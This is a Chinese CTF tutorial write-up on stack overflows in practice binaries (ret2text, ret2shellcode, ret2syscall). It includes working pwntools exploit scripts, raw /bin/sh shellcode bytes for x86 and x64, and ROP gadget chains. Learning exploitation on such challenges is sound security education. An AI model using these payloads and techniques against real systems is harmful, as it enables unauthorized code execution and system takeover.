题目来源 CTF Wiki

ret2text

题目下载

首先,拿到题目我们先查一下保护

1565503449392

可以看到,程序是32位的,只开启了NX保护

下面我们拖到IDA里面看一下

1565503541683

很明显的gets函数溢出漏洞,先来搜索一下程序里面有没有可以直接利用的溢出漏洞,Alt+T搜索system关键字

可以看到,在secure()函数里面发现了可以直接调用system("/bin/sh")的代码,如果我们控制程序返回到这段代码的位置,那么就可以直接得到shell

首先我们在gdb中调试算出程序溢出需要的偏移量

找到get函数的地址,在peda中设置断点(这里若不显示地址,可以右键Text View查看)

gets函数地址

设置断点

使用 r 命令让程序跑起来,可以看到此时寄存器的内容

1565504391943

我们计算偏移量使用EBP和ESP的地址,字符串s的地址是从ESP+0x1c这个位置开始的,那么 偏移量=EBP-(ESP+0x1c)+4,这里+4是因为覆盖栈中保存的EBP的数据,才能到程序返回地址。offset=0xffffd158-(0xffffd0d0+0x1c)+4=0x70

下面我们再在IDA中找到调用system函数的地址0x0804863A

1565505391443

有了这些我们就可以编写exp脚本了

1
2
3
4
5
6
from pwn import *
sh = process('./ret2text')
system = 0x0804863A
payload = 'a'*0x70 + p32(system)
sh.sendline(payload)
sh.interactive()

然后执行脚本,就可以看到能成功获取shell

1565505765436

ret2shellcode

题目下载

拿到题目,同样的思路,检查是否有保护

1565506056537

可以看到,程序没有开启任何保护,并且有可读,可写,可执行段

丢到IDA里,可以看到仍然是基本的gets函数溢出漏洞。与同样搜索system

1565506226726

没有可利用的程序段,回过来继续看程序的伪c代码,与之前的ret2text区别是少了system

1565506522139

发现程序将gets获取到的字符串复制了一份给buf2,那么我们就可以考虑是不是可以让程序跳转到buf2的位置执行

在IDA中跳转查看,可知buf2在.bss段,地址为0x0804A080

1565506840193

在gdb中进行调试,可以知道.bss段所在位置具有可执行权限

1565507061003

程序中没有可以用来执行/bin/sh的代码,我们就需要自己构造生成shellcode(一段完成特定功能的代码),pwntools给我们提供了一个很好的生成shellcode的方法——shellcraft.sh(),使用这个工具,我们可以生成44个字节的shellcode

shellcraft.sh()生成的是执行shell的汇编代码,需要asm()函数转换为机器代码(即16进制)

分析完了之后我们就可以编写exp了

1
2
3
4
5
6
7
from pwn import *
sh = process('./ret2shellcode')
buf2 = 0x0804A080
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x70,'a') + p32(buf2)
sh.sendline(payload)
sh.interactive()

练习:sniperoj-pwn100-shellcode-x86-64

题目下载

同样先查看程序保护情况

1565517281357

程序只开启了PIE地址随机化保护,其他的保护都没有开启

将程序丢进IDA打探一下情况

1565517424714

可以明显的发现程序可能具有read函数溢出漏洞,并且程序将buf的地址打印了出来,所以PIE的开启就没有什么用处了。

依旧查找一下system函数或者/bin/sh,无果。

因为程序没有开启堆栈保护,所以我们可以考虑溢出执行shellcode,从而获得系统shell。

先使用gdb调试,找到程序应该填充的数据量

1565518569834

程序的伪c代码中没有buf相对于esp的偏移量,所以我们的offset=0x10+8=24,这时候我们可用的shellcode的空间只有24字节,但是我们平常使用shellcraft.sh()所生成的shellcode有44个字节,显然就不能使用了,需要我们另觅它路。

这里推荐两个查找shellcode的网站:
https://www.exploit-db.com/
http://shell-storm.org/shellcode/

找到一个只有23字节的shellcode,刚好符合我们的要求

1
shellcode_x64 = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

这里顺便将32位的shellcode也贴出来:

1
2
3
shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += "\x0b\xcd\x80"

之后就可以编写exp了

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
sh = process('./sniperoj-pwn100-shellcode-x86-64')
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

sh.recvuntil('[')
buf = sh.recvuntil(']',drop=True)
shellcode_addr = int(buf,16) + 24 + 8
payload = 'a'*24 + p64(shellcode_addr) + shellcode

sh.sendline(payload)
sh.interactive()

这里的shellcode_addr是buf的起始地址加上填充的数据长度和ret返回地址的长度,因为buf后面 0x10+8 大小的空间都不可以使用,因为 leave 指令会将这一段的栈空间弹出。

栈的情况

这个payload的长度是55,小于read函数中所限定的 0x40 ,若是需要修复题目漏洞,可以把read函数限定的0x40的长度改为0x24或者更小的数。

ret2syscall

题目下载

老样子,检查程序保护,发现除了NX其他都没有开启,然后丢到IDA里面

1565527903300

程序跟之前的没什么两样,仍然是gets函数造成栈溢出,只是没有了system和shellcode可利用。我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用。

简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell

1
execve("/bin/sh",NULL,NULL)

该程序是 32 位,所以我们需要使得

  • 系统调用号,即 eax 应该为 0xb(对应的系统调用为execve)
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0

几个常用的系统调用(int 0x80)

  • 32位
NAME EAX EBX ECX EDX
sys_exit 1 int 0 0
sys_read 3 unsigned int char * size_t
sys_write 4 unsigned int const_char * size_t
sys_open 5 const char * int int
sys_execve 11 const char * 0 0

PS:最常用的为11号调用。也就是execve("/bin/sh",0,0)

  • 64位
NAME %rax %rdi %rsi %rdx
sys_read 0 unsigned int char * size_t
sys_write 1 unsigned int const_char * size_t
sys_open 2 const char * int int
sys_execve 59 const char * 0 0
sys_exit 60 int error_code 0 0

这里寄存器的值的控制需要使用gadgets,比如,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具。

首先来寻找控制eax的gadgets

1
ROPgadget --binary rop  --only 'pop|ret' | grep 'eax'

1565530684650

这里选用第二个最短的作为我们的gadget,类似也可以得到其它寄存器的gadgets

1
ROPgadget --binary rop  --only 'pop|ret' | grep 'ebx'

1565530803166

这里可以选择

1
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

这个可以直接控制edxecxebx三个寄存器

另外,我们还需要获得 /bin/sh 字符串对应的地址,依旧使用ROPgadget

1
ROPgadget --binary ret2syscall --string '/bin/sh'

1565530935236

继续找int 0x80的地址

1
ROPgadget --binary ret2syscall --only 'int'

1565531103186

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
sh = process('./ret2syscall')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int80 = 0x08049421
binsh = 0x80be408
payload = flat(['A' * 0x70, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int80])

sh.sendline(payload)
sh.interactive()

这里附上整个exploit的执行过程

栈